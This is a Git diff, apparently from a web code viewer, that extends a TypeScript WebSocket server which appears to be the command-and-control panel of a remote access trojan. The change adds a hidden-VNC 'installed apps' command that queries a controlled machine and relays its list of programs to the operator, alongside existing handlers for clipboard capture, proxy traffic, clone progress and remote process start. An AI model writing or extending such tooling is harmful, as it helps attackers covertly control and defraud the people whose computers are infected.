handleHVNCInstalledAppsResult,
|
||||||
handleHVNCDXGIStatus,
|
handleHVNCDXGIStatus,
|
||||||
handleClipboardContent,
|
handleClipboardContent,
|
||||||
handleRemoteDesktopViewerMessage,
|
handleRemoteDesktopViewerMessage,
|
||||||
@@ -670,6 +671,7 @@ async function startServer() {
|
|||||||
handleHVNCCloneProgress,
|
handleHVNCCloneProgress,
|
||||||
handleHVNCLookupResult,
|
handleHVNCLookupResult,
|
||||||
handleHVNCBrowserCheckResult,
|
handleHVNCBrowserCheckResult,
|
||||||
|
handleHVNCInstalledAppsResult,
|
||||||
handleHVNCDXGIStatus,
|
handleHVNCDXGIStatus,
|
||||||
handleClipboardContent,
|
handleClipboardContent,
|
||||||
cleanupVoiceViewer,
|
cleanupVoiceViewer,
|
||||||
|
|||||||
@@ -154,6 +154,7 @@ type WsLifecycleDeps = {
|
|||||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||||
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
|
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
|
||||||
|
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
@@ -713,6 +714,9 @@ export async function handleWebSocketMessage(
|
|||||||
case "hvnc_browser_check_result":
|
case "hvnc_browser_check_result":
|
||||||
deps.handleHVNCBrowserCheckResult(client.id, payload);
|
deps.handleHVNCBrowserCheckResult(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
case "hvnc_installed_apps_result":
|
||||||
|
deps.handleHVNCInstalledAppsResult(client.id, payload);
|
||||||
|
break;
|
||||||
case "hvnc_dxgi_status":
|
case "hvnc_dxgi_status":
|
||||||
deps.handleHVNCDXGIStatus(client.id, payload);
|
deps.handleHVNCDXGIStatus(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -632,6 +632,26 @@ export function handleHVNCBrowserCheckResult(clientId: string, payload: any) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
|
||||||
|
const apps: Array<{ name: string; exePath: string; icon: string }> = [];
|
||||||
|
if (Array.isArray(payload.apps)) {
|
||||||
|
for (const app of payload.apps) {
|
||||||
|
apps.push({
|
||||||
|
name: String(app.name || ""),
|
||||||
|
exePath: String(app.exePath || ""),
|
||||||
|
icon: String(app.icon || ""),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
|
safeSendViewer(session.viewer, {
|
||||||
|
type: "hvnc_installed_apps_result",
|
||||||
|
apps,
|
||||||
|
done: !!payload.done,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
||||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
safeSendViewer(session.viewer, {
|
safeSendViewer(session.viewer, {
|
||||||
@@ -880,6 +900,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
case "hvnc_browser_check":
|
case "hvnc_browser_check":
|
||||||
sendHVNCCommand(target, "hvnc_browser_check", {});
|
sendHVNCCommand(target, "hvnc_browser_check", {});
|
||||||
break;
|
break;
|
||||||
|
case "hvnc_installed_apps":
|
||||||
|
sendHVNCCommand(target, "hvnc_installed_apps", {});
|
||||||
|
break;
|
||||||
case "hvnc_start_process":
|
case "hvnc_start_process":
|
||||||
sendHVNCCommand(target, "hvnc_start_process", {
|
sendHVNCCommand(target, "hvnc_start_process", {
|
||||||
path: String(payload.path || ""),
|
path: String(payload.path || ""),
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"hvnc_clone_progress",
|
"hvnc_clone_progress",
|
||||||
"hvnc_lookup_result",
|
"hvnc_lookup_result",
|
||||||
"hvnc_browser_check_result",
|
"hvnc_browser_check_result",
|
||||||
|
"hvnc_installed_apps_result",
|
||||||
"hvnc_dxgi_status",
|
"hvnc_dxgi_status",
|
||||||
"clipboard_content",
|
"clipboard_content",
|
||||||
"proxy_data",
|
"proxy_data",
|
||||||
|
|||||||
Reference in New Issue
Block a user